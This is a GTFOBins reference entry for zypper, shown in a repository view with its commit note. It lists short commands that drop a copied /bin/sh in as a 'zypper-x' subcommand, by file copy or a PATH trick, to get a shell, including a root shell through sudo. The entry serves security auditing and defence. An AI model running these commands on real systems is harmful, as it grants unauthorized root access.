GTFOBins.github.io/_gtfobins/zypper.md
Andrea Cardaci b92d9e0ec2 Fix sudo zypper
`PATH` is a forbidden variable that is not preserved by -E anyway.
2020-06-10 22:54:20 +02:00

21 lines
611 B
Markdown

---
functions:
shell:
- description: This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges.
code: |
zypper x
- code: |
TF=$(mktemp -d)
cp /bin/sh $TF/zypper-x
export PATH=$TF:$PATH
zypper x
sudo:
- description: This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges.
code: |
sudo zypper x
- code: |
TF=$(mktemp -d)
cp /bin/sh $TF/zypper-x
sudo PATH=$TF:$PATH zypper x
---